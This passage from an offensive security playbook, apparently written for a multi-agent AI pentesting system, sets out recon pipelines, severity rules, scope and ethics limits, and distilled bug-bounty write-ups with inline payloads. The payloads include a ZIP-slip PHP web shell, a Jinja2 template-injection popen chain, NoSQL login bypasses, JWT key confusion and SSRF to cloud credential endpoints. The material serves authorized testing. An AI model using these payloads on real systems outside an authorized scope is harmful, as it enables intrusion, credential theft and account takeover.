  • Evidence hygiene: your own account's secrets always redacted; other users' PII redacted unless demonstrating cross-account; show trace IDs and field shapes ("proves the bug, not the user") • prefer not capturing at all (DevTools credentials:'include', drag the Burp request panel out of frame) • HAR sanitization via jq (Cookie/Set-Cookie/Authorization) • rotate throwaway credentials after submission.

8.5 CVSS 3.1 Reference Tables

ScenarioVectorScore
IDOR readAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N6.5
JWT alg:none—9.1
SSRF→metadata—9.1
Race double-spendAC:H7.5
Pre-auth RCEAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H9.8
Stored XSS adminS:C9.0
Reflected XSS—6.1
Takeover+cookie—9.6

9) STRIX DOCTRINE: AGENT ARCHITECTURE & FALSE-POSITIVE ELIMINATION

  • The root agent orchestrates only: it never runs scanners/crawlers or sends payloads — all target-touching work is delegated to agents. Per finding: Discovery → Validation → Reporting (3 agents). One job per agent; agent specialization = 1–3 skills.
  • Shared threat model built and corrected collaboratively (threat model + coverage ledger; no "clean" surface closes without recorded coverage).
  • Counterevidence — every candidate closes in exactly one of 3 states:
  1. confirmed — working PoC or a complete source→control→sink→impact trace with reachability.
  2. ruled_out — you can name the specific control at a specific location that runs on every attacker-reachable path before the sink. Complete the sentence.
  3. open_proof_gap — recorded as needs_follow_up and carried to the end. "I moved on" is not a state.
  • What does NOT rule out: generic trust in a library/ORM/escaper (context-specific!) • a control on a different path (sibling route/batch job/admin alias) • wrong-time controls (validation after canonicalization) • fail-open try/except • a safe sibling • missing information • difficulty • operator configurability • internal-only exposure (downgrade, don't delete).
  • What does: an executed attack failed with an understood reason • a control proven on-path • an inert sink • input traced to a trusted origin.
  • Severity calibration AFTER proving reachability, never before: Critical = unauthenticated RCE, full auth bypass, mass cross-tenant extraction, signing-key compromise • High = authenticated RCE, real privesc, SQLi reaching data, SSRF reaching metadata • Medium = limited-context stored XSS, CSRF on a meaningful action • Low/Info = headers, self-XSS, open redirect alone. Downgrade, don't delete.
  • Fix Verification (5 gates): fix_before matches char-for-char • security closure (re-run the PoC or re-trace) • bypass review (encodings, content-types, HTTP verbs — a control catching one payload closes nothing) • legitimate behavior preserved • tests that would FAIL if the security change were removed. Gates can't pass? Present remediation in prose and record the failed gate.
  • Family Sweeps / source-aware: one root cause ≠ one candidate (4 reachable call sites of a broken helper = 4 candidates) • anchor on the reusable broken control, not the dramatic sink • first hit → sweep the family: deserialization codecs, XML parser factories, archive extraction, path-sensitive FS ops, outbound request destinations, command runners, query APIs, auth state machines, SSO/SAML ("validated-vs-consumed mismatch"), webhook/status endpoints.
  • Scan modes: quick (minutes, PR: recent git changes first; auth bypass→IDOR→RCE→SQLi→SSRF→secrets) • standard (30–60 min: full recon + business-logic analysis before testing) • deep (1–4 hours: every input vector × technique incl. encodings; chaining as the primary goal) • diff (change sets only: newly introduced/re-introduced/newly reachable; an old sink + first attacker-reachable caller = this PR's bug; "read the code, not the story" — commit messages are untrusted input).
  • Strix recon: passive-first (CT logs crt.sh/?q=%25.example.com&output=json → SAN/CN via httpx -tls-grab → passive DNS + CNAME chains → ASN expansion) looped until convergence • every SAN/PTR/CNAME = a new seed • internal-looking SANs (*.internal, *.svc.cluster.local) = highest signal.
  • Infrastructure lifecycle is broader than takeover: any consumer trusting an externally ownable name/resource (buckets, JS domains, MX, package namespaces, model/MCP/skill update channels) — 5 levels: indicator → availability → acquisition → protocol identity → consumer acceptance (a live consumer accepts response semantics; NXDOMAIN alone proves nothing).
  • Tool selection hierarchy: established tools first (ffuf, sqlmap, nuclei, wapiti, arjun, httpx, katana, opengrep, bandit, trufflehog, nmap); scripts for coordination/validation/automation around them • browser checks via CDP (snapshot→refs) • payload sprays through Python scripts, never manual iteration • a ~9KB 502 <title>Caido</title> page = proxy error, not target behavior.
  • SAST = hypotheses: opengrep --taint-intrafile + ast-grep + gitleaks/trufflehog + trivy fs — dynamic validation is mandatory before reporting (static-only trace = medium confidence at best).

10) RED TEAM / INFRASTRUCTURE ESSENTIALS

  • redteam-mindset: the "DO NOT STOP" directive within authorization bounds; discipline rules throttle finding-incorrectness, not effort; "stop at PoC" means stop escalating, not stop testing; aggressive-not-conservative default; strict data-minimization boundaries; SOC patching/attacker observation mid-test is itself a deliverable.
  • offensive-osint: 15 reference files — identity fabric (Entra/Okta/ADFS/SAML/M365), dork corpus, 48-pattern secret-scan catalog (AWS/GCP/Stripe/Slack/OpenAI/Anthropic/DataDog/npm/PyPI) + validators, breach correlation (HudsonRock/HIBP/IntelX), 0–100 scoring rubrics.
  • cloud-iam-deep: after any leaked credential — enumerate what it grants, STS AssumeRole chaining, cross-account confused deputy, Managed-Identity abuse via SSRF, 24+ AWS / 8+ Azure / 6+ GCP privesc patterns, Cognito unauthenticated chain.
  • m365-entra: AADSTS error reference, user enumeration + hardening status, Smart Lockout math, CA bypass options, ROPC spray discipline (surfaces pre-existing lockouts/CA blocks).
  • okta: tenant discovery (-oktapreview.com), factor enumeration, push fatigue, lockout-aware spray, FastPass abuse, redirect_uri tampering, admin API post-compromise.
  • vCenter/VPN (the most common 2024–2026 initial-access surface): CVE matrices — vCenter: CVE-2021-21972/21985, CVE-2022-22954, CVE-2023-20887, CVE-2024-37085 (ESXi) • Cisco ASA/Fortinet/Citrix/Palo Alto/Pulse-Ivanti/SonicWall/F5: version fingerprint → CVE matrix → AAA backend → default creds → pre-auth RCE/SSRF/traversal.
  • supply-chain: recon ONLY — namespace-squatting, dependency confusion, GitHub Actions injection, SBOM/registry mining; any publishing requires written sign-off (ecosystem-wide blast radius).
  • mid-engagement IR: detect SOC patching/another attacker's activity mid-test and convert it into deliverables.

11) AUTOMATION & SCRIPTING

  • Full pipeline: subfinder+chaos+github-subdomains → alterx → puredns → httpx -json → katana+gau+uro → JS download + trufflehog on the JS → nuclei -severity medium,high,critical -store-resp → comm -23 diff vs the previous run → Telegram (TG_BOT_TOKEN)/Discord notify. Cron 5 */6 * * *; CertStream triggers the pipeline on every new certificate; axiom-fleet for distributed VPS fleets.
  • Design principles: idempotent stages, diff-driven, throttled, parallel-safe, set -euo pipefail, observable, stateful.
  • SCR (source code review): sources to sinks (DB/exec/file ops/deserialization/eval/template/fetch) → semgrep (--config=p/security-audit|owasp-top-ten|secrets), CodeQL, bandit/brakeman/goseg/findsecbugs, gitleaks.
  • Fast per-language greps: JS __proto__|postMessage|child_process • Python pickle.loads|yaml.load|eval • PHP unserialize/type juggling • Go template.HTML • Ruby YAML.load • Rust .unwrap() on decode paths (+ "a known TODO is not a mitigation").

12) SCOPE & ETHICS DISCIPLINE (non-negotiable)

  • Authorized testing only: a target within written scope / a public program; scope check before every report.
  • No DoS / real brute-force / mass-PII / social engineering as methodology unless the program explicitly allows it.
  • Data minimization: test accounts, unique markers, no more real-data extraction than needed for proof.
  • In automated patterns: is_in_scope() before every outbound request; safe methods by default (GET/HEAD/OPTIONS) in autonomous modes; caps of 1 rps testing / 10 rps recon.
  • Throwaway credentials: session only, never persisted; rotate after submission.
  • Comply with each platform's rules (Immunefi Primacy of Impact, VRT, ywh-rules).

13) FIELD INTELLIGENCE — WRITEUP & POC DISTILLATION (2024–2026)

~150 recent writeups / PoCs / CVE case studies distilled into per-class field notes (research pass: Nov 2026). Every link is a primary source — open it before applying a technique. A minority of entries were distilled from title-verified listings only; treat their payload details as conservative and re-verify against the source. Meta-lesson of the pass: every high-severity 2024–2026 bug is a chain, and most winning primitives are parser differentials.

13.1 Access Control / IDOR (A01) — the still-king class (20 cases)

  1. McDonald's / Paradox.ai — 64M applications (2025) — default creds 123456:123456 on the owner sign-in → test-tenant admin; internal PUT /api/lead/cem-xhr returns any numeric lead_id (~64M scale) with PII + an impersonation token. After ANY low-priv tenancy, decrement sequential IDs on internal proxy-style APIs. https://ian.sh/mcdonalds
  2. Azure API Connections — cross-tenant I (2025, $40K) — one shared global APIM backs ALL Azure API Connections; DynamicInvoke + proxied-path traversal path/%2e%2e/... → read other tenants' connections (Key Vault secrets, Azure SQL, Salesforce). https://www.binarysecurity.no/posts/2025/08/azures-weakest-link-part2
  3. Azure — cross-tenant II (2026, $200K) — five validation-edge-case bypasses on the same primitive via ARM /extensions/proxy/. When a proxy resolves a resource then forwards a path you control, percent-encoded ../ against the internal routing namespace IS the modern IDOR. https://www.binarysecurity.no/posts/2026/10/one-root-case
  4. Next.js CVE-2025-29927 — repeating x-middleware-subrequest: src/middleware:src/middleware:... (depth counter) makes the framework skip middleware entirely → every middleware-based authz check vanishes. Fuzz framework-internal headers on every edge target. https://stack-auth.com/blog/nextjs-middleware-auth-bypass
  5. better-auth CVE-2025-61928 — authRequired = (request||headers) && !body.userId: adding userId to the JSON body flips auth off → mint valid API keys for arbitrary victims. Audit boolean guards mixing body fields with session presence. https://zeropath.com/blog/breaking-authentication-unauthenticated-api-key-creation-in-better-auth-cve-2025-61928
  6. n8n CVE-2026-59208 — cross-issuer ATO — JWT verified per-issuer (kid/iss/aud all checked) but local identity keyed on sub alone → two trusted issuers sharing a sub collapse onto one user. Diff "verification keys" vs "identity keys" in every OIDC flow. https://www.strix.ai/blog/n8n-cross-issuer-account-takeover
  7. GCP Config Connector (CVSS 9.9, disputed) — a K8s IAMPolicyMember CR carries a user-controlled org ID that the operator executes with its own elevated creds → caller becomes Organization Owner. Every CRD-to-cloud bridge is a potential confused deputy — test whether CR fields are re-authorized as the caller. https://olearysec.com/research/config-connector-authorization-bypass/
  8. Tenant-isolation roundup (2026) — 78/200 self-hosted AI tools leaked: the dominant shape is the "un-retrofitted read sibling" (write endpoints authorized, the neighboring list/get/search/embedding read fetches by raw ID with no tenant filter) ×84; vector-store/RAG retrieval ignores tenant filters even when code looks fine — plant canaries as tenant A, query as tenant B. https://sectum.ai/blog/tenant-isolation-roundup/
  9. Krayin CRM CVE-2026-112286/112287 — incomplete fix — earlier CVE fixed the Quote write path (preventUnauthorizedAccess()), two read endpoints (leadProducts(), search()) were never touched. When a vendor "fixes" an IDOR, re-diff the controller — the write-path fix tells you which read siblings were forgotten. PoC: https://github.com/0xAdham1/krayin-crm-2.2.7-POC
  10. Phproject CVE-2026-104991 — UI + write REST call Model\Issue::allowAccess(), but single_get/single_comments check only row existence → read/comment on confidential issues. List ALL callers of the authz helper — the three that forgot the guard are the report. https://github.com/wvllxe/CVE-2026-104991
  11. Medkey EHR IDOR — PatientController::actionGetPatientById($id) serializes patient records (incl. nested policies.insurance) purely from user-supplied id. Healthcare/ERP controllers that hydrate models from $id and return $this->asJson(...) are zero-guard IDORs — chain nested relations to maximize impact. https://github.com/r0xkrnl/Medkey-EHR-IDOR-PoC
  12. Grafana CVE-2026-100105 — schema downgrade — protected-field diff computed against the incoming integration's schema version; switching a webhook to legacy v0mimir1 (where url is unprotected) skips the authz check → Editor silently redirects alerts. Authorization that trusts attacker-controlled metadata (version/type/content-type) is bypassable. https://github.com/googlesky/CVE-2026-100105
  13. Instagram private posts (2025) — unauthenticated GET /<private_user> with mobile-app headers returned server-rendered HTML embedding private-timeline JSON + direct CDN links. Toggle client class (mobile vs desktop UA + app headers) on unauth profile pages and diff embedded JSON. https://github.com/jatin-dot-py/instagram-private-bypass
  14. HackerOne's own GraphQL BOLA — node(id:...) on Program returned private-program metadata (is_private, private_program_stats); found via introspection → node-ID walk. Platform-internal GraphQL is just another IDOR surface. https://github.com/guardiankali/HackerOne-Silent-Patch-Exposed/blob/main/Critical.README.md
  15. OZForensics CVE-2025-32367 (KYC) — unauthenticated /statistic/list returns JSON with original_url/preview_url links to passport scans, face-match photos, liveness videos. Hit identity-verification back-office endpoints (statistic, list, report, export) unauthenticated before even registering. https://github.com/Brakerciti/OZForensics_exploit
  16. FileMaker CVE-2026-86934 — client-controlled X-FMI-PE-ExtendedPrivilege header re-enables disabled features in the XML Web Publishing Engine. Grep every custom X- security header in the stack — if the server reads a privilege/override header from the client, set it and re-test every forbidden endpoint. https://www.agilehunt.com/blog/claris-filemaker-cve-2026-86934-authorization-bypass
  17. Microsoft Planetary Computer — MapRoot (2026) — sandbox-escape RCE in numexpr/GDAL; the real finding: the compromised pod's RBAC could read every other customer's data; both patches were bypassed within a day. Patched ≠ fixed — re-run PoCs against patched builds within days, and when triage downgrades, check what permissions they quietly stripped. https://enclave.ai/blog/maproot-two-cross-tenant-rce-on-microsoft-planetary-computer
  18. Kyverno CVE-2026-22039 (CVSS 10.0) — users holding namespaced policy permissions could access/mutate resources across ALL namespaces via the admission-controller API. Test authorization engines themselves — send namespace-A-scoped requests with a principal granted rights only in namespace B. https://www.minimus.io/post/cve-2026-22039-how-kyvernos-critical-authorization-bypass-breaks-kubernetes-namespace-isolation
  19. Azure APIM CVE-2025-66390 — UI-only disabling — "disable signup" hides the Developer-Portal form; the backing signup API stays live whenever Basic Authentication is enabled → cross-tenant account creation. "Disabled" features must be re-tested at the raw API layer. https://github.com/bountyyfi/Azure-APIM-Cross-Tenant-Signup-Bypass
  20. sfmap — Salesforce Aura playbook — enumerate Experience Cloud guest portal /s/sfsites/aura + internal /aura, auto-extract aura.context/token, probe IDOR/CRUD/FLS as guest. Most Salesforce BOLA lives in Aura controller params, not REST. https://github.com/n3rada/sfmap

Field patterns (IDOR/BAC 2024–2026): write-protected / read-naked siblings dominate • incomplete fixes breed the next CVE (re-test patches within days) • attacker-controlled security metadata (schema versions, subrequest counters, PE headers) • UI-only feature disabling • identity-key vs verification-key divergence • confused-deputy cloud operators (kubectl apply as an escalation primitive) • shared-infrastructure cross-tenant addressing • GraphQL node(id:) interfaces • KYC pre-signed media endpoints • tenancy must be proven with canaries (RAG/vector stores), never assumed.

13.2 XSS / Sanitizer Bypass (10 cases)

  1. DOMPurify CVE-2025-26791 — "incorrectly opened comment" in an attribute + SAFE_FOR_TEMPLATES regexes that strip chars closing </style> → second browser parse mutates into <img onerror> inside <style> (mXSS). Audit sanitizer config options, not just defaults. https://ensy.zip/posts/dompurify-323-bypass/
  2. DOMPurify ≤3.2.6 via SMIL (Safari) — <animateTransform> mutates an attribute at runtime, defeating static serialization checks; fixed 3.2.7. Chromium 138/FF 140/Safari 26 now escape </> in serialized attributes (kills classic two-parse mXSS) → pivot to runtime DOM-mutation primitives (<selectedcontent> is a new vector). https://mizu.re/post/dompurify-bypass-smil-animatetransform-safari
  3. DOMPurify via raw XML — XML processing instructions + nodeName namespace confusion slip past the parser; keep XML/foreign-content routes in every sanitizer test. https://flatt.tech/research/posts/bypassing-dompurify-with-good-old-xml/
  4. DOMPurify CVE-2025-15599 — <textarea> rawtext escaping defeats SAFE_FOR_XML comment checks (3.1.3–3.2.6). Track rawtext/escapable-rawtext elements as a persistent bypass family. https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml
  5. PAN-OS CVE-2025-0133 (bounty path) — reflected XSS on exposed GlobalProtect portals, paid P3 on Bugcrowd via perimeter recon — fingerprint VPN/edge appliances. https://tambesec.tech/posts/Reflected-XSS-CVE-2025-0133-BugBounty/
  6. Second-order XSS via `redirect_uri` (H1 #3316910) — attacker-controlled redirect_uri stored unsanitized → reused in victim sessions. Chain OAuth parameter persistence into second-order XSS. https://hackerone.com/reports/3316910
  7. DOM clobbering → XSS via `pixel.analytics.config` (Intigriti 0526) — non-script HTML clobbers JS config objects (named-property access) in latest Chrome. Map config.x.y reads in target code, clobber with id/name. https://medium.com/@mhqfhvxqbumxepbfvb/intigriti-challenge-0526-write-up-dom-clobbering-to-xss-via-pixelanalyticsconfig-83840cea06c1
  8. GMSGadget — curated JS gadgets converting harmless injections into XSS despite CSP + sanitizers; check the target's loaded libs against gadget DBs before writing payloads. https://github.com/kevin-mizu/GMSGadget
  9. mXSS methodology + cheatsheet — systematized nested foreign-content/<style>/<noscript> mutation; keep a runnable corpus and replay it on every sanitizer. https://sonarsource.github.io/mxss-cheatsheet/explained/
  10. DOM clobbering cheatsheet + mXSS walkthrough — 100+ vectors (ridpath/dom-clobbering-cheatsheet) plus Jorian Woltjer's parser-differential method: build a personal test corpus — mutation bugs recur wherever innerHTML follows sanitize. https://jorianwoltjer.com/blog/p/research/mutation-xss

Field patterns: exploit non-default sanitizer configs • runtime mutation beats serialization differentials on modern browsers • gadget abuse (GMSGadget/BlackFan) is the default escalation • second-order/stored chains beat direct injection on hardened apps • 2025–2026 CVE replay against exposed instances is a working bounty strategy.

13.3 SSRF (8 cases)

  1. PDF generator → AWS creds ($6,500, CVSS 9.1) — "Print to PDF" blocks local IPs by pre-resolving hostnames but mishandles redirects → attacker 302 → http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-role → IAM creds rendered INSIDE the returned PDF. If validators check the first URL, always chain open-redirect → link-local. https://vulnquest58.github.io/bugbounty/writeups/ssrf-aws-leak/
  2. pdfmake CVE-2026-26801 (library sink) — URLResolver.js fetch(url, {headers}) with only a scheme check: SSRF via docDefinition.images/fonts + arbitrary headers (internal header-trust bypass) + attachments returns the response body → full exfiltration. Read library source for unguarded fetch(). https://mariopepe.github.io/cve-2026-26801-pdfmake-ssrf.html
  3. PDF-generator methodology — user data → HTML injection in PDF → remote fetch/JS → IMDS + internal host discovery; OOB callbacks with visual confirmation inside the PDF. https://www.blackhillsinfosec.com/hunting-for-ssrf-bugs-in-pdf-generators/
  4. Engine fingerprinting — read the PDF generator's UA to pick engine-specific payloads; curated iframe payload pack: https://github.com/tenshou-hackerone/SSRF-via-iframe-payloads-for-PDF-Generators
  5. IPv6 + redirects vs webhook validators — normalize-then-compare validators die on IPv6 literal forms ([::], 0:0:0:0:0:0:0:1, hex/octal) chained with redirects. https://medium.com/@red_darkin/a-real-ssrf-story-from-hackerone-featuring-ipv6-redirects-9aa5e2ad8c2e
  6. Webhook SSRF (GHSA-vwq2-jx9q-9h9f) — admin webhooks unvalidated → internal network pivoting; any user-supplied callback URL (webhook/import/avatar) is SSRF. https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-vwq2-jx9q-9h9f
  7. IMDSv2 is not a panacea — SSRF with custom-header control (pdfmake case) defeats the PUT-token requirement; cloud-by-cloud headers matter (Metadata-Flavor: Google). https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/
  8. Discipline unchanged — the OOB-or-it-didn't-happen gate from §2.2 still decides triage in 2024–2026 reports; negative controls remain evidence.

13.4 SQLi / NoSQLi (8 cases)

  1. Per-WAF tamper chains (2025) — sqlmap-tamper-collection targets current Cloudflare/AWS/Azure WAFs specifically (--tamper=cloudflare2025); match tamper chains to the WAF fingerprint, not legacy space2comment. https://github.com/regaan/sqlmap-tamper-collection
  2. XML-deep encoding — payloads encoded as XML entities pass raw-string WAF matching, decoded by the backend; if the endpoint parses XML/JSON deeply, encode the injection INSIDE the structure. https://medium.com/@awes0me.writes/portswigger-lab-sql-injection-with-filter-bypass-via-xml-encoding-writeup-sql-injection-c49f7ab2cd5a
  3. Layered encodings (2026 catalog) — case/comment/encoding/parameter manipulation in 2–3 layers; WAFs normalize once. https://ashuraweismann.github.io/blog/2026-08-13-sql-injection-waf-bypass-techniques-from-basics-to-advanced-payloads/
  4. Second-order SQLi — stash the payload in stored data consumed later server-side; WAFs never see the second hop. https://hackerxone.com/advanced-sql-injection-waf-bypass-techniques/
  5. NoSQL operator injection canon — JSON bodies with {"$ne":null} / {"$gt":""} on login/lookup; URL-array form username[$ne]=invalid&password[$ne]=invalid. Send JSON content-type + operator objects at every auth endpoint — still routinely missed. https://aygoub.github.io/writeups/NOSqlinjectionWriteup.pdf
  6. `$regex` oracle — extract unknown FIELD NAMES char-by-char before values; $where JS injection for time-based. https://siunam321.github.io/ctf/portswigger-labs/nosql-injection/nosqli-4/
  7. Framework persistence layers (CVE-2026-48121) — operator injection inside LangGraph's MongoDBSaver: audit framework savers/ORM shims, not just app code. https://github.com/decker757/cs440-langgraph-nosql-demo
  8. Post-bypass enumeration — after $ne impersonation, escalate with $regex to reach admin-specific fields. https://github.com/AdityaBhatt3010/Bypassing-Login-via-NoSQL-Operator-Injection-A-MongoDB-Authentication-Hack

13.5 RCE / SSTI / Deserialization (9 cases)

  1. Frappe SSTI CVE-2025-68929 (CVSS 9.0) — framework-level template inputs are prime SSTI; probe every "developer-ish" config/template field. https://www.thehackerwire.com/frappe-framework-rce-via-template-injection-cve-2025-68929/
  2. Polyglot probe first — {{7*7}}${7*7}<%= 7*7 %> fingerprints the engine before manual work; Jinja2 → config.__class__.__init__.__globals__['os'].popen. https://medium.com/@trewwwsec/hack-the-box-bug-bounty-ctf-wrietup-jinjacare-template-injection-in-python-flasks-jinja2-1a576f787737
  3. Modern Node SSTI — process.getBuiltinModule replaces increasingly-blocked require in template sandboxes. https://github.com/iamdonu/node-ssti
  4. Odoo 18 SSTI — CMS/ERP email templates + report templates deserve SSTI probes in every engagement. https://github.com/vycioha/odoo-18-ssti-vulnerability
  5. Java deser economics — recognize magic ac ed 00 05 / base64 rO0AB in any parameter/cookie/body; ysoserial chain construction + encoding pipelines (base64 layers, env detection) decide success, not the sink. https://robinx0.github.io/blogs/web-exploitation/java-deserialization-rce/
  6. ysoserial.net automation — script payload generation; manual base64 hand-editing of .NET gadgets breaks formats. https://byt3n33dl3.substack.com/p/exploiting-deserialization-vulns
  7. ViewState chain — file-read bug → leaked machineKey → __VIEWSTATE gadget → RCE; never report the file-read alone. https://hacktricks.wiki/en/pentesting-web/deserialization/exploiting-__viewstate-parameter.html
  8. PHP object injection (2026) — unauth unserialize() in WP plugins (e.g. Newsletters <4.15, CVE-2026-12583); map installed classes to phpggc gadget availability first. https://wpscan.com/vulnerability/e4c44105-f43d-4dff-8487-7d8ae2691c4e/
  9. Environment-aware payloads — solve the encoding pipeline and fingerprint the runtime before assuming a gadget failed. https://medium.com/@jobaa23/insecure-deserialization-to-reverse-shell-9f007b440d6f

13.6 File Upload / Path Traversal / LFI (9 cases)

  1. ZIP Slip → RCE (2026 walkthrough) — archive entry names ../... trusted by restore features; depth-probe with harmless marker files first, then writestr('../../../var/www/html/shell.php','<?php system($_GET["c"]);?>'). https://kelvin-0110.github.io/posts/zippy-zip-slip-writeup/
  2. gohttpserver CVE-2026-38600 — unauthenticated zip extraction writes arbitrary paths; "upload project/backup" endpoints are zip-slip classics — always ship a crafted zip. https://cve.halosecurity.com/cve-advisory/cve-2026-38600-codeskyblue-gohttpserver-zip-slip-arbitrary-file-write
  3. Upload downgrade ladder — when code exec is blocked, HTML/SVG uploads still deliver stored XSS; document the RCE path in the report (H1 #900179 pattern). https://hackerone.com/reports/900179
  4. Enterprise panels skip server-side content checks — Explorance Blue + IBM DataStage RCEs (2026): verify with a real executable extension, not the client-side validator. https://www.thehackerwire.com/explorance-blue-rce-via-unrestricted-file-upload/
  5. PHP filter chains = standard LFI→RCE — php://filter/convert.iconv.<chain> generates arbitrary bytes without file writes or allow_url_include; generator: https://github.com/synacktiv/phpfilterchain_generator (background: https://hacktricks.wiki/en/pentesting-web/file-inclusion/lfi2rce-via-php-filters.html)
  6. Extension-forced suffix is trivial — filter chains bypass .php-forced suffixes without null bytes. https://medium.com/@nikomanousos123/advanced-local-file-inclusion-leveraging-php-filters-when-standard-injection-fails-81de4f661f74
  7. Export/download endpoints are the highest-yield traversal sinks — especially dual dir+filename params on legacy portals. https://academy.logicalbreach.com/writeups/path-traversal-via-an-unauthenticated-export-download-action-using-client-controlled-directory-and-filename-parameters-a9c49b9e
  8. Fuzz the depth×encoding matrix — 1–30 depth patterns, single/double/triple URL encoding, UTF-16, overlong UTF-8, null bytes: https://github.com/DeepakGhengat/ADVANCED-DIRECTORY-TRAVERSAL-PAYLOADS
  9. Extension-locked reads still leak — target config/source files ending in the required extension (PTT-2025-031 pattern). https://pentest-tools.com/PTT-2025-031-Sensitive-File-Read-via-Path-Traversal.pdf

13.7 Auth / JWT / OAuth / OTP / Session (12 cases)

  1. 2FA bypass via OAuth migration (2026) — POST /api/OAuth/migration completes sign-in-with-APP migration and returns a full session WITHOUT the TOTP challenge; unlink + reset password strips MFA with zero victim interaction. Re-enforce MFA on EVERY auth path (migration, linking, SSO, recovery). https://freedium-mirror.cfd/https://medium.com/p/9722cdcc8b10
  2. OAuth skips TOTP (Target program, accepted) — account with Google Authenticator enabled; login via Google OAuth never invoked 2FA. Run the matrix "login method × MFA-enabled" on an account you control. https://freedium-mirror.cfd/https://medium.com/p/fa1455e760a8
  3. JWT bugs moved into custom wrappers (2025–2026) — jwt.decode(token, PUBLIC_KEY, algorithms=["RS256","HS256"]) → sign HS256 with the RSA public PEM as HMAC secret; hunt alg allowlists, jku/kid/x5u key-source trust, iss/aud, cross-tenant claims as FOUR independent axes on the resource server, not the IdP. https://freedium-mirror.cfd/https://medium.com/p/074436187cdc
  4. OAuth scope escalation at refresh — refresh endpoint accepted an optional scope param and trusted it instead of intersecting with original consent: "scope":"read write admin" at refresh time. Test the refresh flow — the least-tested OAuth surface. https://freedium-mirror.cfd/https://medium.com/p/53fef594a73d
  5. OAuth linking CSRF → ATO — linking callback's state never bound to the initiating session → attacker's Microsoft identity attached to whoever's browser arrived with the callback. State must bind (session, operation, nonce) — login ≠ link ≠ reconnect. https://freedium-mirror.cfd/https://medium.com/p/7f24bfdf91f0
  6. OTP cross-account binding (Bugcrowd) — 4-digit OTP bound to the PHONE NUMBER, not (account + session): same phone on multiple self-registered accounts multiplies attempt limits; OTP issued to Account 1 verifies Account 2. Rate-limit the resource (phone/email), not the account row. https://freedium-mirror.cfd/https://medium.com/p/6a29bcf51e86
  7. Stale reset tokens survive email change — reset link issued to old Email A remained redeemable after migration to Email B → old-mailbox holder takes over. Invalidate outstanding reset tokens on credential-state change; bind tokens to a versioned credential epoch. https://freedium-mirror.cfd/https://medium.com/p/d28d7ef45c94
  8. One-time password works twice (YWH, CVSS 7.4) — replay the successful reset with the same validateCode but a different password value → accepted again. Prove single-use by replaying the success request with one mutated field. https://freedium-mirror.cfd/https://medium.com/p/e778f726bbad
  9. WebView token injection (React Native retail app) — app injected Authorization/refresh_token into EVERY request on a remote-config whitelist containing an unregistered domain; deep-link scheme had no android:host → one-click token capture from a browser. Audit remote-config whitelists for dead/expirable domains and lock deep-link hosts. https://freedium-mirror.cfd/https://medium.com/p/ece168008a3f
  10. TikTok recovery auth bypass (H1 #2443228, $12,000 CVSS 9.4) + Stripe/TaxJar mass ATO (#1685970/#1581240) + GitLab email-verification skip on OAuth grants (#922456) — recovery flows and "alternate path/channel" auth (CWE-288) dominate top-paid ATO disclosures; gate OAuth grants on identity VERIFICATION state, not authentication success. https://hackerone.com/reports/2443228
  11. Master OTP `0000` (inDrive, Critical $2,000) — change-phone flow accepted 0000 as a universal code. Before brute-forcing OTPs, try zeros/1234/length-boundary values — placeholders still ship. https://hackerone.com/reports/2588329
  12. SAML 2025–2026 wave — WebLogic SAML bypass CVE-2026-60206 (CVSS 9.9, CISA KEV) + ruby saml_idp default private key + account↔IdP binding flaws (all GitHub PoC-verified) — SAML remains the highest auth-bug-density surface. https://github.com/tc4dy/CVE-2026-60206-PoC-Exploit

Field patterns: alternative-path MFA gaps are the most reproduced 2026 pattern • state exists ≠ state is bound • token-lifecycle edges (email change, replay-with-mutation, phone-not-account binding) • refresh endpoints are untested real estate • dead whitelist domains + unlocked deep links = one-click ATO.

13.8 Race Conditions (10 cases)

  1. Single-packet attack is protocol-portable (2024–2026) — H2: Turbo Intruder SpikeEngine + h2spacex (single-packet GET via Content-Length: 1 / x-override-method: GET, Nagle disabled); H3/QUIC: h3spacex + TimeOrch SSRO (Black Hat USA 2026: deterministic — not stochastic — races on HTTP/3; "QUIC won't save you from TOCTOU"). https://github.com/nxenon/h2spacex • https://github.com/efchatz/timeorch • https://github.com/PortSwigger/turbo-intruder
  2. Serialization point doctrine (Worldcoin H1 #2110030, $3,000) — max-verifications-per-nullifier enforced only in app state; parallel requests all passed. Limits die unless the DATABASE is the serialization point — look for checks in app memory/microservice state. https://hackerone.com/reports/2110030
  3. Debit/credit split canon (Helium #974892) — POST /api/data_credits/transfer_dc raced: deducts from A, credits B multiple times. Fire transfers N-wide and count BOTH balances. https://hackerone.com/reports/974892
  4. Duplicated payments (H1 #429026) — retest action triggered in parallel → duplicate payouts; idempotency keys must dedupe server-side per logical operation. https://hackerone.com/reports/429026
  5. Coinbase double payout (#307239, $10,000 Critical) — withdrawal/payout endpoints are the highest-paid logic races; race or replay them before any other payment test. https://hackerone.com/reports/307239
  6. Cheap limit-overruns still pay — Figma love-react (#996141), Judge.me follow (#1566017), Striyo project creation (#994051), MozillaVPN EoP via race (#2261577). Never skip single-endpoint bursts. https://hackerone.com/reports/996141
  7. TOCTOU voucher lab (WAL discipline) — build labs with WAL-mode SQLite to learn which DB settings make limit-overruns exploitable. https://github.com/ManuelKy08/Race-Condition-Lab
  8. H2 multiplexing harness — dedicated CLI for check-then-use flows (balance/permission/quota): https://github.com/dntaskmehow/StreamSync
  9. Go-based single-packet tool — https://github.com/iliyadindar/http2-race-singlepacket
  10. Practice corpus — five end-to-end race exploits (bank transfers, wallet credit, shop checkout, local privesc) with full engagement docs: https://github.com/Ransome-sitara/hack-smarter-race-conditions

13.9 Business Logic (10 cases)

  1. Backend trusts frontend pricing — cart JSON amount/sellingPrice passed to the gateway without server re-pricing → $170 course for $0.40 (gateway minimum). Recompute totals server-side at the moment of charge. https://freedium-mirror.cfd/https://medium.com/p/73c6801575d7
  2. In-flight provider tampering (Steam, $7,500 Critical) — amount embedded in payer email (brixamount100abc@...) + modified POST globalapi.smart2pay.com request not re-signed/verified by the merchant. Treat provider requests as attacker-writable until the merchant verifies provider-returned amounts against its own order record. https://hackerone.com/reports/1295844
  3. Coupon replay (Stripe #1849626, $5,000) — fee discounts redeemable many times; replay the redeem call N times and diff totals. Server-side single-use state per (user, coupon, invoice) is mandatory. https://hackerone.com/reports/1849626
